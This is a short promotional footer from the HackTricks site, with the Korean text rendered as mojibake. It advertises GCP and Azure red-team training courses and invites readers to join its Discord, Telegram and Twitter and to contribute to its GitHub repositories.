GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


